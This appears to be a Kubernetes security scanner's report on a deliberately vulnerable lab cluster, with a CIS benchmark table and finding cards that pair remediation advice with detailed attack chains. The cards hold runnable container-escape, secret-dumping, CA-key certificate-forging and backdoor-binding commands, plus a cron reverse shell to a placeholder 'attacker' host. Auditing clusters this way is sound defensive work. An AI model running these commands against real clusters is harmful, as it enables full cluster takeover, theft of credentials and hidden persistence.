โŒ• /
F 0/100
Security Score
Critical
10
High
12
Medium
47
Low
32
Info
82
183
Total
10
Critical
12
High
47
Medium
CIS Kubernetes Benchmark v1.8 โ€” Compliance Overview
93
CIS Findings
22
Controls Violated
67
Level 1
26
Level 2
ControlLevelProfileTitleFindings
5.2.1 L1 Policy Ensure that admission controller does not admit privileged containers 16
5.7.2 L2 Policy Ensure that the seccomp profile is set to docker/default in your pod definitions 13
5.2.7 L1 Policy Ensure that admission controller does not admit containers with added capabilities 12
5.7.3 L2 Policy Apply Security Context to your Pods and Containers 9
5.7.1 L1 Policy Create administrative boundaries between resources using namespaces 8
5.7.4 L1 Policy The default namespace should not be used 7
5.3.2 L2 Policy Ensure that all Namespaces have Network Policies defined 4
5.1.3 L1 RBAC Minimize wildcard use in Roles and ClusterRoles 3
5.1.1 L1 RBAC Ensure that the cluster-admin role is only used where required 2
5.1.5 L1 RBAC Ensure that default service accounts are not bound to active cluster roles 2
5.1.6 L1 RBAC Ensure that Service Account Tokens are not automatically mounted 2
5.2.5 L1 Policy Ensure that admission controller does not admit containers with allowPrivilegeEscalation 2
5.2.6 L1 Policy Ensure that admission controller does not admit root containers 2
5.4.1 L1 Secrets Prefer using secrets as files over secrets as environment variables 2
5.5.1 L1 Admission Configure Image Provenance using ImagePolicyWebhook admission controller 2
1.2.1 L1 Master Ensure that the --anonymous-auth argument is set to false 1
1.2.22 L1 Master Ensure that the --audit-log-path argument is set 1
1.2.27 L1 Master Ensure that the --profiling argument is set to false 1
1.2.33 L1 Master Ensure that encryption providers are appropriately configured 1
1.3.2 L1 Master Ensure that the --profiling argument is set to false 1
5.2.2 L1 Policy Ensure that admission controller does not admit containers wishing to share the host process ID namespace 1
5.2.3 L1 Policy Ensure that admission controller does not admit containers wishing to share the host IPC namespace 1
183 findings Generated 2026-06-09 06:52:48 UTC ยท took 1.2s
No findings match the current filter.
๐Ÿ”ด CRITICAL
API Server Anonymous Access EnabledCIS 1.2.1 ยท L1 Pod/kube-apiserver-goat-control-plane ยท kube-system control-plane
โ€บ

API server --anonymous-auth is not explicitly set to false. Unauthenticated requests can enumerate cluster resources.

CRITICAL - API server accepts unauthenticated requests; anonymous callers can enumerate cluster resources, and any RBAC binding to system:anonymous escalates to full API access

Set --anonymous-auth=false on the kube-apiserver.
  • Kubernetes API server accessible without any authentication token or certificate
  • Anonymous callers are assigned system:anonymous user and system:unauthenticated group
  • Any RBAC ClusterRoleBinding to system:anonymous or system:unauthenticated = unauthenticated API access
  • Anonymous enumeration reveals cluster topology, workloads, and RBAC configuration
  1. [CHAIN: Anonymous API Access โ†’ Resource Enumeration โ†’ RBAC Misconfiguration โ†’ Cluster Takeover]
  2. Step 1 โ€” Discover API server URL from kubeconfig or cluster DNS
  3. Step 2 โ€” Query API without credentials: curl -sk https://$API_SERVER/api/v1/namespaces
  4. Step 3 โ€” Enumerate resources: pods, secrets, configmaps, clusterroles, bindings
  5. Step 4 โ€” Check if system:anonymous has dangerous RBAC grants: kubectl auth can-i --list --as=system:anonymous
  6. Step 5 โ€” If any write permission exists: create backdoor ClusterRoleBinding or deploy malicious pod
  7. Result: Anonymous access + any RBAC misconfiguration = full cluster compromise without credentials
# CRITICAL: API Server Anonymous Access Enabled

# Get the API server address from current kubeconfig
API_SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
echo "API Server: $API_SERVER"

# Test unauthenticated access (no token, no cert)
curl -sk $API_SERVER/api/v1/namespaces | python3 -c \
  "import sys,json; [print(n['metadata']['name']) for n in json.load(sys.stdin)['items']]"

# Enumerate resources without authentication
curl -sk $API_SERVER/api/v1/secrets
curl -sk $API_SERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings

# Check what anonymous can actually do
kubectl auth can-i --list --as=system:anonymous -A

# If anonymous has any write access โ€” create backdoor
curl -sk -X POST $API_SERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings \
  -H "Content-Type: application/json" \
  -d '{"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRoleBinding",
       "metadata":{"name":"anon-admin"},
       "roleRef":{"kind":"ClusterRole","name":"cluster-admin","apiGroup":"rbac.authorization.k8s.io"},
       "subjects":[{"kind":"User","name":"system:anonymous","apiGroup":"rbac.authorization.k8s.io"}]}'

# REMEDIATION: Set --anonymous-auth=false on kube-apiserver:
# /etc/kubernetes/manifests/kube-apiserver.yaml: add --anonymous-auth=false
๐Ÿ”ด CRITICAL
Containerd Socket Mount Detected Deployment/health-check-deployment ยท default container
โ€บ

Deployment 'health-check-deployment' mounts sensitive host path /run/containerd/containerd.sock

CRITICAL - Complete node takeover via containerd socket

Remove hostPath mount. Use Kubernetes Secrets/ConfigMaps/PersistentVolumes.
  • Direct access to containerd runtime
  • Create privileged containers bypassing K8s controls
  • Full host filesystem access via container
  1. Get shell in pod with containerd socket mounted
  2. Use ctr CLI to interact with containerd
  3. Create new privileged container with host root mounted
  4. Result: Full node compromise
# CRITICAL: Containerd Socket Mount

kubectl exec -it deploy/health-check-deployment -n default -c health-check-deployment -- /bin/sh
ctr -n k8s.io --address /run/containerd/containerd.sock containers ls
ctr -n k8s.io --address /run/containerd/containerd.sock run \
  --rm -t --privileged \
  --mount type=bind,src=/,dst=/host,options=rbind:rw \
  docker.io/library/alpine:latest rootsh /bin/sh

# REMEDIATION: Never mount containerd socket into pods
๐Ÿ”ด CRITICAL
Docker Socket Mount Detected Deployment/health-check-deployment ยท default container
โšก CB-006 โ›“ COMPOUND-10
โ€บ

Deployment 'health-check-deployment' mounts sensitive host path /var/run/docker.sock

CRITICAL - Equivalent to root on node. Docker socket provides full host access.

Remove hostPath mount. Use Kubernetes Secrets/ConfigMaps/PersistentVolumes.
  • Full Docker daemon access via mounted socket
  • Create privileged containers bypassing all security
  • Access ALL container secrets and images on node
  1. Get shell in pod with docker.sock mounted
  2. Use docker CLI to create privileged container
  3. Mount host root filesystem into new container
  4. Chroot into host for full node compromise
  5. Result: Complete node takeover
# CRITICAL: Docker Socket Mount - Node Takeover

kubectl exec -it deploy/health-check-deployment -n default -c health-check-deployment -- /bin/sh
ls -la /var/run/docker.sock

docker -H unix:///var/run/docker.sock run -it --privileged --pid=host \
  -v /:/host alpine chroot /host /bin/sh

# REMEDIATION: Never mount docker.sock into pods
๐Ÿ”ด CRITICAL
Overly Permissive Role BindingCIS 5.1.1 ยท L1 ClusterRoleBinding/superadmin ยท cluster-wide rbac
โšก CB-003 โ›“ COMPOUND-1โ›“ COMPOUND-6โ›“ COMPOUND-9
โ€บ

ClusterRoleBinding 'superadmin' grants cluster-admin to 'superadmin' โ€” full cluster control.

HIGH - Overly permissive role binding grants a subject broad read/write/exec access; chaining read-secrets + create-pods or exec leads to credential theft and node-level privilege escalation

Remove cluster-admin ClusterRoleBinding. Create a minimal ClusterRole with only the required permissions.
  • Overly broad permissions granted to subject
  • Access to multiple resource types and verbs
  • Privilege escalation vectors via pod creation or secret access
  • Lateral movement enabled across namespace
  1. Identify the bound role and its subjects
  2. Obtain token for the bound ServiceAccount or user
  3. Enumerate all granted permissions via auth can-i --list
  4. Chain permissions: read secrets โ†’ get credentials โ†’ create pods
  5. Result: Privilege escalation via overly permissive binding
# HIGH: Broad Namespace Access - Privilege Escalation and Lateral Movement

kubectl get rolebinding superadmin -n cluster-wide -o yaml
kubectl describe role superadmin -n cluster-wide
kubectl auth can-i --list -n cluster-wide

# REMEDIATION: Restrict bindings to specific users/SA instead of broad groups
๐Ÿ”ด CRITICAL
Privileged Container DetectedCIS 5.2.1 ยท L1 Deployment/system-monitor-deployment ยท default container
โšก CB-001 โ›“ COMPOUND-1โ›“ COMPOUND-3โ›“ COMPOUND-4โ›“ COMPOUND-10
โ€บ

Container 'system-monitor' in Deployment 'system-monitor-deployment' runs in privileged mode โ€” full host kernel access.

CRITICAL - Complete node compromise leading to cluster-wide access. Single nsenter command gives host root shell. CA key theft allows forging cluster-admin certificates, bypassing all RBAC.

Set privileged: false. Use specific capabilities instead.
  • Container breakout to host system via privileged mode
  • Direct root shell on host via nsenter to PID 1
  • Mount host filesystem and access sensitive data
  • Execute commands as root on the host node
  • Read SSH keys, secrets, and credentials from host
  1. [CHAIN: Privileged Container โ†’ Host Root โ†’ CA Key Theft โ†’ Cluster Takeover]
  2. Step 1 โ€” Exec into the privileged container (pod exec, RCE in app, or leaked credentials)
  3. Step 2 โ€” nsenter -t 1 -m -u -n -i sh โ†’ IMMEDIATE root shell on host node (1 command)
  4. Step 3 โ€” Read /etc/kubernetes/pki/ca.key โ€” cluster Certificate Authority private key
  5. Step 4 โ€” Forge cluster-admin client certificate signed by stolen CA โ€” RBAC completely irrelevant
  6. Step 5 โ€” kubectl get secrets -A with forged cert โ†’ all secrets in all namespaces
  7. Step 6 โ€” Access cloud metadata: curl 169.254.169.254 โ†’ IAM credentials โ†’ cloud account takeover
  8. Step 7 โ€” SSH into other cluster nodes via host network โ€” all nodes compromised
  9. Result: One privileged container = complete cluster + cloud account compromise; namespace isolation provides ZERO protection
# CRITICAL: Privileged Container - Host Escape via nsenter

# Step 1: Escape to host via nsenter (PID 1 = host init process)
kubectl exec -it deploy/system-monitor-deployment -n default -c system-monitor -- nsenter -t 1 -m -u -n -i sh
# Output: ROOT shell on host! (uid=0)

# Step 2: Alternative - Mount host disk
kubectl exec -it deploy/system-monitor-deployment -n default -c system-monitor -- /bin/sh
fdisk -l | grep /dev
mkdir -p /host && mount /dev/sda1 /host
cat /host/root/.ssh/id_rsa
cat /host/var/lib/kubelet/kubeconfig

# REMEDIATION: Never use privileged: true in production
๐Ÿ”ด CRITICAL
Privileged Container DetectedCIS 5.2.1 ยท L1 Deployment/health-check-deployment ยท default container
โšก CB-001 โ›“ COMPOUND-1โ›“ COMPOUND-3โ›“ COMPOUND-4โ›“ COMPOUND-10
โ€บ

Container 'health-check' in Deployment 'health-check-deployment' runs in privileged mode โ€” full host kernel access.

CRITICAL - Complete node compromise leading to cluster-wide access. Single nsenter command gives host root shell. CA key theft allows forging cluster-admin certificates, bypassing all RBAC.

Set privileged: false. Use specific capabilities instead.
  • Container breakout to host system via privileged mode
  • Direct root shell on host via nsenter to PID 1
  • Mount host filesystem and access sensitive data
  • Execute commands as root on the host node
  • Read SSH keys, secrets, and credentials from host
  1. [CHAIN: Privileged Container โ†’ Host Root โ†’ CA Key Theft โ†’ Cluster Takeover]
  2. Step 1 โ€” Exec into the privileged container (pod exec, RCE in app, or leaked credentials)
  3. Step 2 โ€” nsenter -t 1 -m -u -n -i sh โ†’ IMMEDIATE root shell on host node (1 command)
  4. Step 3 โ€” Read /etc/kubernetes/pki/ca.key โ€” cluster Certificate Authority private key
  5. Step 4 โ€” Forge cluster-admin client certificate signed by stolen CA โ€” RBAC completely irrelevant
  6. Step 5 โ€” kubectl get secrets -A with forged cert โ†’ all secrets in all namespaces
  7. Step 6 โ€” Access cloud metadata: curl 169.254.169.254 โ†’ IAM credentials โ†’ cloud account takeover
  8. Step 7 โ€” SSH into other cluster nodes via host network โ€” all nodes compromised
  9. Result: One privileged container = complete cluster + cloud account compromise; namespace isolation provides ZERO protection
# CRITICAL: Privileged Container - Host Escape via nsenter

# Step 1: Escape to host via nsenter (PID 1 = host init process)
kubectl exec -it deploy/health-check-deployment -n default -c health-check -- nsenter -t 1 -m -u -n -i sh
# Output: ROOT shell on host! (uid=0)

# Step 2: Alternative - Mount host disk
kubectl exec -it deploy/health-check-deployment -n default -c health-check -- /bin/sh
fdisk -l | grep /dev
mkdir -p /host && mount /dev/sda1 /host
cat /host/root/.ssh/id_rsa
cat /host/var/lib/kubelet/kubeconfig

# REMEDIATION: Never use privileged: true in production
๐Ÿ”ด CRITICAL
Root Directory Mount Deployment/health-check-deployment ยท default container
โ€บ

Deployment 'health-check-deployment' mounts sensitive host path /

HIGH - Critical host path mount exposes Kubernetes PKI, kubelet credentials, or system configuration; allows CA key theft, credential forgery, and persistent node-level backdoor

Remove hostPath mount. Use Kubernetes Secrets/ConfigMaps/PersistentVolumes.
  • Mount of Kubernetes PKI, kubelet config, or host root grants near-complete node access
  • Read cluster CA key to forge cluster-admin certificates
  • Read kubelet credentials to authenticate as the node
  • Modify /etc files (shadow, sudoers, cron) for persistent backdoor
  1. Get shell in pod with sensitive hostPath mount
  2. Access mounted critical host directory
  3. Kubernetes Config Mount โ†’ read ca.key โ†’ forge cluster-admin cert
  4. Kubelet Mount โ†’ read kubeconfig โ†’ authenticate as node to API server
  5. Root/etc Mount โ†’ modify /etc/cron.d or /etc/sudoers โ†’ persistent root access
  6. Result: Full node compromise and cluster-admin escalation
# HIGH: Critical HostPath Mount - Kubernetes/System Credential Theft

kubectl exec -it deploy/health-check-deployment -n default -c health-check-deployment -- /bin/sh

# Kubernetes PKI mount (/etc/kubernetes)
ls /mnt/pki/
cat /mnt/pki/ca.key 2>/dev/null   # Cluster CA private key โ€” sign any cert
cat /mnt/pki/etcd/ca.key 2>/dev/null  # etcd CA key

# Kubelet config mount (/var/lib/kubelet)
cat /mnt/config.yaml 2>/dev/null  # kubelet kubeconfig with node credentials
cat /mnt/kubeconfig 2>/dev/null

# System /etc mount โ€” persistence
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'" \
  >> /mnt/cron.d/backdoor 2>/dev/null

# REMEDIATION: Never mount /etc/kubernetes, /var/lib/kubelet, /, /etc, /proc, /sys.
# Use Projected Volumes or Secrets for specific credentials.
๐Ÿ”ด CRITICAL
Root Directory Mount Deployment/system-monitor-deployment ยท default container
โ€บ

Deployment 'system-monitor-deployment' mounts sensitive host path /

HIGH - Critical host path mount exposes Kubernetes PKI, kubelet credentials, or system configuration; allows CA key theft, credential forgery, and persistent node-level backdoor

Remove hostPath mount. Use Kubernetes Secrets/ConfigMaps/PersistentVolumes.
  • Mount of Kubernetes PKI, kubelet config, or host root grants near-complete node access
  • Read cluster CA key to forge cluster-admin certificates
  • Read kubelet credentials to authenticate as the node
  • Modify /etc files (shadow, sudoers, cron) for persistent backdoor
  1. Get shell in pod with sensitive hostPath mount
  2. Access mounted critical host directory
  3. Kubernetes Config Mount โ†’ read ca.key โ†’ forge cluster-admin cert
  4. Kubelet Mount โ†’ read kubeconfig โ†’ authenticate as node to API server
  5. Root/etc Mount โ†’ modify /etc/cron.d or /etc/sudoers โ†’ persistent root access
  6. Result: Full node compromise and cluster-admin escalation
# HIGH: Critical HostPath Mount - Kubernetes/System Credential Theft

kubectl exec -it deploy/system-monitor-deployment -n default -c system-monitor-deployment -- /bin/sh

# Kubernetes PKI mount (/etc/kubernetes)
ls /mnt/pki/
cat /mnt/pki/ca.key 2>/dev/null   # Cluster CA private key โ€” sign any cert
cat /mnt/pki/etcd/ca.key 2>/dev/null  # etcd CA key

# Kubelet config mount (/var/lib/kubelet)
cat /mnt/config.yaml 2>/dev/null  # kubelet kubeconfig with node credentials
cat /mnt/kubeconfig 2>/dev/null

# System /etc mount โ€” persistence
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'" \
  >> /mnt/cron.d/backdoor 2>/dev/null

# REMEDIATION: Never mount /etc/kubernetes, /var/lib/kubelet, /, /etc, /proc, /sys.
# Use Projected Volumes or Secrets for specific credentials.
๐Ÿ”ด CRITICAL
Wildcard Permissions GrantedCIS 5.1.3 ยท L1 Role/secret-reader ยท big-monolith rbac
โšก CB-002โšก CB-003 โ›“ COMPOUND-1โ›“ COMPOUND-6โ›“ COMPOUND-9
โ€บ

Role 'secret-reader' grants wildcard (*) permissions. This allows full control over all resources.

CRITICAL - Wildcard RBAC permissions break namespace isolation; attackers can escalate from any namespace to host root and then forge cluster-admin certificates via CA key theft

Replace wildcards with specific verbs and resources following the principle of least privilege.
  • Wildcard (*) verb/resource grants every operation across all targeted resources
  • Single compromised pod SA token provides cluster-wide write/read access
  • Kubernetes namespace isolation is NOT a security boundary with wildcard permissions
  • pods/create + wildcard = cluster-admin equivalent via privileged pod escalation
  1. [CHAIN: RBAC Wildcard โ†’ Namespace Bypass โ†’ Cluster Takeover]
  2. Step 1 โ€” Extract SA token from any pod in the namespace: cat /var/run/secrets/kubernetes.io/serviceaccount/token
  3. Step 2 โ€” Confirm wildcard scope: kubectl auth can-i '*' '*' --token=$TOKEN -n {namespace}
  4. Step 3 โ€” Deploy privileged escape pod with hostPID:true + hostPath:/ mount (wildcard allows pods/create)
  5. Step 4 โ€” Exec into pod: nsenter -t 1 -m -u -n -i sh โ†’ IMMEDIATE host root shell
  6. Step 5 โ€” Read cluster CA private key from host: cat /etc/kubernetes/pki/ca.key
  7. Step 6 โ€” Forge cluster-admin certificate โ€” RBAC completely bypassed, all namespaces accessible
  8. Result: Namespace isolation provides ZERO protection โ€” RBAC wildcard โ†’ full cluster takeover in 6 steps
# CRITICAL: Wildcard Permissions โ€” RBAC โ†’ Namespace Bypass โ†’ Cluster Takeover

# Step 1: Verify wildcard scope โ€” exec into any pod to extract its SA token
TARGET_POD=$(kubectl get pods -n big-monolith --no-headers -o custom-columns=":metadata.name" | head -1)
echo "Extracting token from pod: $TARGET_POD"
TOKEN=$(kubectl exec -it $TARGET_POD -n big-monolith -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl auth can-i '*' '*' --token=$TOKEN -n big-monolith
# Output: "yes" = CONFIRMED wildcard

# Step 2: Deploy privileged escape pod
kubectl apply --token=$TOKEN -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
  namespace: big-monolith
spec:
  hostPID: true
  hostNetwork: true
  volumes:
  - name: host-root
    hostPath:
      path: /
  containers:
  - name: escape
    image: alpine
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
    command: ["sleep", "3600"]
EOF

# Step 3: Escape to host
kubectl exec -it escape-pod -n big-monolith -- nsenter -t 1 -m -u -n -i sh
# You are now root on the NODE โ€” namespace isolation BROKEN

# Step 4: Steal cluster CA and forge admin cert
cat /etc/kubernetes/pki/ca.key  # Private key obtained
openssl genrsa -out /tmp/admin.key 2048
openssl req -new -key /tmp/admin.key -out /tmp/admin.csr \
  -subj "/CN=cluster-admin/O=system:masters"
openssl x509 -req -in /tmp/admin.csr -CA /etc/kubernetes/pki/ca.crt \
  -CAkey /etc/kubernetes/pki/ca.key -CAcreateserial -out /tmp/admin.crt
kubectl --client-certificate=/tmp/admin.crt --client-key=/tmp/admin.key \
  --certificate-authority=/etc/kubernetes/pki/ca.crt \
  get secrets -A  # All secrets across ALL namespaces

# REMEDIATION: Replace wildcard rules with specific verb+resource combinations.
# Never use resources: ["*"] or verbs: ["*"] in production roles.
๐Ÿ”ด CRITICAL
system:masters Group Binding DetectedCIS 5.1.1 ยท L1 ClusterRoleBinding/cluster-admin ยท cluster-wide rbac
โšก CB-003 โ›“ COMPOUND-1โ›“ COMPOUND-6โ›“ COMPOUND-9
โ€บ

ClusterRoleBinding 'cluster-admin' grants permissions to the 'system:masters' group. Members of this group bypass all RBAC checks and have unconditional cluster-admin access โ€” even if cluster-admin ClusterRole is removed.

CRITICAL - system:masters is hardcoded in kube-apiserver and completely bypasses RBAC; no policy, no admission webhook, no audit can stop a system:masters credential holder

Never bind user-facing accounts to system:masters. Use a custom ClusterRole with the specific permissions required.
  • system:masters group bypasses ALL authorization checks โ€” hardcoded in kube-apiserver
  • No RBAC rules needed: membership in system:masters = unconditional cluster-admin
  • Cannot be revoked via RBAC โ€” requires removing the group claim from the credential
  • Any user or SA bound to system:masters has permanent, irrevocable cluster control
  1. [CHAIN: system:masters โ†’ Unconditional Cluster Takeover โ€” RBAC Completely Bypassed]
  2. Step 1 โ€” Obtain any credential (kubeconfig, client cert, or SA token) for a user/SA in system:masters
  3. Step 2 โ€” kube-apiserver skips ALL RBAC checks for system:masters โ€” hardcoded in Go source
  4. Step 3 โ€” Read all secrets cluster-wide: kubectl get secrets -A
  5. Step 4 โ€” Create backdoor admin: kubectl create clusterrolebinding backdoor --clusterrole=cluster-admin --user=attacker
  6. Step 5 โ€” Disable audit logging: patch kube-apiserver Pod spec to remove --audit-log-path
  7. Step 6 โ€” Modify admission webhooks: set failurePolicy:Ignore or delete webhooks entirely
  8. Step 7 โ€” Delete the original system:masters binding to cover tracks
  9. CRITICAL: Unlike RBAC permissions, system:masters CANNOT be denied via policy โ€” there is no mitigation except removing group membership from the credential
  10. Result: system:masters binding = permanent cluster takeover vector that survives any RBAC policy change
# CRITICAL: system:masters Group Binding - Absolute Cluster Control

# Identify the binding
kubectl get clusterrolebinding cluster-admin -o yaml

# If you have access to the bound credential, verify superpower:
kubectl auth can-i '*' '*' --all-namespaces
# yes โ†’ CRITICAL

kubectl get secrets -A  # All secrets in all namespaces
kubectl create clusterrolebinding backdoor \
  --clusterrole=cluster-admin \
  --user=attacker@example.com

kubectl delete clusterrolebinding cluster-admin  # Remove the evidence

# REMEDIATION: Immediately remove the ClusterRoleBinding to system:masters.
# Rotate all credentials that were members of this group.
kubectl delete clusterrolebinding cluster-admin
๐ŸŸ  HIGH
Cross-Namespace ServiceAccount BindingCIS 5.1.6 ยท L1 RoleBinding/system:controller:bootstrap-signer ยท kube-public rbac
โšก CB-002 โ›“ COMPOUND-6
โ€บ

RoleBinding 'system:controller:bootstrap-signer' (namespace: kube-public) grants permissions to ServiceAccount 'bootstrap-signer' from namespace 'kube-system' โ€” a workload in another namespace can act with these permissions.

HIGH - Cross-namespace ServiceAccount binding enables lateral movement: a pod in namespace A can access namespace B resources

Avoid cross-namespace SA bindings. Create a dedicated SA in the same namespace with only the permissions it needs.
  • ServiceAccount from namespace A bound to role in namespace B
  • Compromising any pod in namespace A gives API access in namespace B
  • Cross-namespace privilege escalation: lateral movement via RBAC
  • Often created for CI/CD automation but left permanently over-permissioned
  1. Compromise any pod in the source namespace (namespace A)
  2. Read the auto-mounted ServiceAccount token from /var/run/secrets/...
  3. Use token to authenticate to namespace B's API resources
  4. Access secrets, exec into pods, or create workloads in namespace B
  5. Result: Lateral movement from namespace A to namespace B via RBAC cross-binding
# HIGH: Cross-Namespace ServiceAccount Binding - Lateral Movement

# Step 1: Identify the binding and extract source SA details dynamically
kubectl get rolebinding system:controller:bootstrap-signer -n kube-public -o yaml | grep -A5 subjects:
SA_NS=$(kubectl get rolebinding system:controller:bootstrap-signer -n kube-public \
  -o jsonpath='{.subjects[0].namespace}')
SA_NAME=$(kubectl get rolebinding system:controller:bootstrap-signer -n kube-public \
  -o jsonpath='{.subjects[0].name}')
echo "Source SA: $SA_NAME in namespace $SA_NS"

# Step 2: Find a pod in source namespace running as that SA
SOURCE_POD=$(kubectl get pods -n $SA_NS \
  --field-selector=spec.serviceAccountName=$SA_NAME \
  --no-headers -o custom-columns=":metadata.name" | head -1)
CONTAINER=$(kubectl get pod $SOURCE_POD -n $SA_NS \
  -o jsonpath='{.spec.containers[0].name}')
echo "Token source: $SOURCE_POD / $CONTAINER"

# Step 3: Read the SA token from that pod
TOKEN=$(kubectl exec $SOURCE_POD -n $SA_NS -c $CONTAINER -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token)

# Step 4: Use token to access TARGET namespace
kubectl auth can-i --list \
  --token=$TOKEN -n kube-public

curl -sk -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/kube-public/secrets

# REMEDIATION: Remove cross-namespace subject from RoleBinding. Use namespace-local SA.
๐ŸŸ  HIGH
Dangerous Permission CombinationCIS 5.1.3 ยท L1 Role/local-path-provisioner-role ยท local-path-storage rbac
โšก CB-003 โ›“ COMPOUND-1โ›“ COMPOUND-6โ›“ COMPOUND-9
โ€บ

Role 'local-path-provisioner-role' has dangerous permission combinations: create/update pods

HIGH - Dangerous permission combination enables privilege escalation: chaining these grants leads to credential theft, privileged pod deployment, or host-level escape

Remove dangerous permission combinations. Apply least privilege โ€” grant only what is explicitly required.
  • Dangerous permission combination: create/update pods
  • Permission chaining enables privilege escalation beyond individual grants
  • pods/create + secrets/get = deploy escape pod, read all credentials, node takeover
  • pods/exec + secrets/get = exec into privileged pods, extract all secrets
  1. [CHAIN: create/update pods โ†’ Privilege Escalation โ†’ Cluster Compromise]
  2. Step 1 โ€” Extract SA token from pod: cat /var/run/secrets/kubernetes.io/serviceaccount/token
  3. Step 2 โ€” Enumerate all granted permissions: kubectl auth can-i --list --token=$TOKEN -n {namespace}
  4. Step 3 โ€” If pods/create: deploy escape pod with hostPID:true + privileged:true + hostPath:/
  5. Step 4 โ€” kubectl exec into escape pod: nsenter -t 1 -m -u -n -i sh โ†’ HOST ROOT SHELL
  6. Step 5 โ€” If secrets/get: dump all secrets: kubectl get secrets -n {namespace} -o yaml
  7. Step 6 โ€” If pods/exec: exec into privileged workloads and extract their credentials
  8. Result: Permission chaining collapses namespace isolation โ€” single SA token becomes node root
# HIGH: Dangerous Permission Combination โ€” create/update pods

# Step 1: Exec into any pod to extract its SA token and confirm permissions
TARGET_POD=$(kubectl get pods -n local-path-storage --no-headers -o custom-columns=":metadata.name" | head -1)
echo "Token source: $TARGET_POD"
TOKEN=$(kubectl exec $TARGET_POD -n local-path-storage -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl auth can-i --list --token=$TOKEN -n local-path-storage

# Step 2: If pods/create is among the granted permissions โ€” deploy escape pod
kubectl apply --token=$TOKEN -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: priv-escape
  namespace: local-path-storage
spec:
  hostPID: true
  hostNetwork: true
  volumes:
  - name: host-root
    hostPath:
      path: /
  containers:
  - name: escape
    image: alpine
    command: ["sleep", "3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
EOF
kubectl exec -it priv-escape -n local-path-storage -- nsenter -t 1 -m -u -n -i sh
# Result: ROOT on host โ€” namespace isolation BROKEN

# Step 3: If secrets/get is granted โ€” dump all credentials
kubectl get secrets -n local-path-storage -o json --token=$TOKEN | \
  python3 -c "import sys,json,base64; \
  [print(s['metadata']['name'], {k:base64.b64decode(v).decode() for k,v in s.get('data',{}).items()}) \
  for s in json.load(sys.stdin)['items']]"

# REMEDIATION: Remove dangerous permission combinations. Apply least-privilege.
๐ŸŸ  HIGH
Dangerous Permission CombinationCIS 5.1.3 ยท L1 ClusterRole/local-path-provisioner-role rbac
โšก CB-003 โ›“ COMPOUND-1โ›“ COMPOUND-6โ›“ COMPOUND-9
โ€บ

ClusterRole 'local-path-provisioner-role' has dangerous permission combinations: delete persistent volumes

HIGH - Dangerous permission combination enables privilege escalation: chaining these grants leads to credential theft, privileged pod deployment, or host-level escape

Remove dangerous permission combinations. Apply least privilege โ€” grant only what is explicitly required.
  • Dangerous permission combination: delete persistent volumes
  • Permission chaining enables privilege escalation beyond individual grants
  • pods/create + secrets/get = deploy escape pod, read all credentials, node takeover
  • pods/exec + secrets/get = exec into privileged pods, extract all secrets
  1. [CHAIN: delete persistent volumes โ†’ Privilege Escalation โ†’ Cluster Compromise]
  2. Step 1 โ€” Extract SA token from pod: cat /var/run/secrets/kubernetes.io/serviceaccount/token
  3. Step 2 โ€” Enumerate all granted permissions: kubectl auth can-i --list --token=$TOKEN -n {namespace}
  4. Step 3 โ€” If pods/create: deploy escape pod with hostPID:true + privileged:true + hostPath:/
  5. Step 4 โ€” kubectl exec into escape pod: nsenter -t 1 -m -u -n -i sh โ†’ HOST ROOT SHELL
  6. Step 5 โ€” If secrets/get: dump all secrets: kubectl get secrets -n {namespace} -o yaml
  7. Step 6 โ€” If pods/exec: exec into privileged workloads and extract their credentials
  8. Result: Permission chaining collapses namespace isolation โ€” single SA token becomes node root
# HIGH: Dangerous Permission Combination โ€” delete persistent volumes

# Step 1: Exec into any pod to extract its SA token and confirm permissions
TARGET_POD=$(kubectl get pods -n default --no-headers -o custom-columns=":metadata.name" | head -1)
echo "Token source: $TARGET_POD"
TOKEN=$(kubectl exec $TARGET_POD -n default -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl auth can-i --list --token=$TOKEN -n default

# Step 2: If pods/create is among the granted permissions โ€” deploy escape pod
kubectl apply --token=$TOKEN -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: priv-escape
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  volumes:
  - name: host-root
    hostPath:
      path: /
  containers:
  - name: escape
    image: alpine
    command: ["sleep", "3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
EOF
kubectl exec -it priv-escape -n default -- nsenter -t 1 -m -u -n -i sh
# Result: ROOT on host โ€” namespace isolation BROKEN

# Step 3: If secrets/get is granted โ€” dump all credentials
kubectl get secrets -n default -o json --token=$TOKEN | \
  python3 -c "import sys,json,base64; \
  [print(s['metadata']['name'], {k:base64.b64decode(v).decode() for k,v in s.get('data',{}).items()}) \
  for s in json.load(sys.stdin)['items']]"

# REMEDIATION: Remove dangerous permission combinations. Apply least-privilege.
๐ŸŸ  HIGH
Missing Network PolicyCIS 5.3.2 ยท L2 Namespace/local-path-storage ยท local-path-storage network
โ€บ

Namespace 'local-path-storage' has no NetworkPolicy. All pods can communicate freely โ€” no micro-segmentation.

MEDIUM - No network isolation enables lateral movement, direct database access, and data exfiltration

Apply a default-deny-all NetworkPolicy and allow only required traffic explicitly.
  • No network segmentation โ€” all pods can talk to all pods
  • Lateral movement from any compromised pod to databases/APIs
  • Internal service discovery and port scanning
  • Direct access to sensitive backend services bypassing ingress
  1. Compromise any pod in namespace
  2. Deploy netshoot pod for full network toolkit
  3. Scan internal network for services (nmap, curl, dig)
  4. Access databases, caches, and internal APIs directly
  5. Result: Full lateral movement within cluster
# MEDIUM: Missing Network Policy - Lateral Movement

kubectl get networkpolicies -n local-path-storage
# "No resources found" = VULNERABLE

